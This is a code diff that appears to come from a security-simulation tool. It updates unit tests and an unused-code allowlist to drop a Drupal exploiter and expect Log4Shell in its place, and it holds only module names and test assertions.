def test_get_exploits_used_on_node__2_exploits():
|
||||||
exploits = get_exploits_used_on_node(NODE_DICT)
|
exploits = get_exploits_used_on_node(NODE_DICT)
|
||||||
assert sorted(exploits) == sorted(["Zerologon Exploiter", "Drupal Server Exploiter"])
|
assert sorted(exploits) == sorted(["Zerologon Exploiter", "Log4Shell Exploiter"])
|
||||||
|
|
||||||
|
|
||||||
def test_get_exploits_used_on_node__duplicate_exploits():
|
def test_get_exploits_used_on_node__duplicate_exploits():
|
||||||
exploits = get_exploits_used_on_node(NODE_DICT_DUPLICATE_EXPLOITS)
|
exploits = get_exploits_used_on_node(NODE_DICT_DUPLICATE_EXPLOITS)
|
||||||
assert exploits == ["Drupal Server Exploiter"]
|
assert exploits == ["Log4Shell Exploiter"]
|
||||||
|
|
||||||
|
|
||||||
def test_get_exploits_used_on_node__failed():
|
def test_get_exploits_used_on_node__failed():
|
||||||
|
|
|
@ -199,7 +199,6 @@ def test_format_config_for_agent__exploiters(flat_monkey_config):
|
||||||
},
|
},
|
||||||
],
|
],
|
||||||
"vulnerability": [
|
"vulnerability": [
|
||||||
{"name": "DrupalExploiter", "supported_os": [], "options": {}},
|
|
||||||
{"name": "HadoopExploiter", "supported_os": ["linux", "windows"], "options": {}},
|
{"name": "HadoopExploiter", "supported_os": ["linux", "windows"], "options": {}},
|
||||||
{"name": "Log4ShellExploiter", "supported_os": ["linux", "windows"], "options": {}},
|
{"name": "Log4ShellExploiter", "supported_os": ["linux", "windows"], "options": {}},
|
||||||
{"name": "WebLogicExploiter", "supported_os": [], "options": {}},
|
{"name": "WebLogicExploiter", "supported_os": [], "options": {}},
|
||||||
|
|
|
@ -60,7 +60,6 @@ WEBLOGIC # unused variable (monkey/monkey_island/cc/services/reporting/issue_pr
|
||||||
HADOOP # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:43)
|
HADOOP # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:43)
|
||||||
MSSQL # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:44)
|
MSSQL # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:44)
|
||||||
VSFTPD # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:45)
|
VSFTPD # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:45)
|
||||||
DRUPAL # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:48)
|
|
||||||
POWERSHELL # (\monkey\monkey_island\cc\services\reporting\issue_processing\exploit_processing\exploiter_descriptor_enum.py:52)
|
POWERSHELL # (\monkey\monkey_island\cc\services\reporting\issue_processing\exploit_processing\exploiter_descriptor_enum.py:52)
|
||||||
ExploiterDescriptorEnum.LOG4SHELL
|
ExploiterDescriptorEnum.LOG4SHELL
|
||||||
PbaResults # unused class (monkey/monkey_island/cc/models/pba_results.py:4)
|
PbaResults # unused class (monkey/monkey_island/cc/models/pba_results.py:4)
|
||||||
|
|
Loading…
Reference in New Issue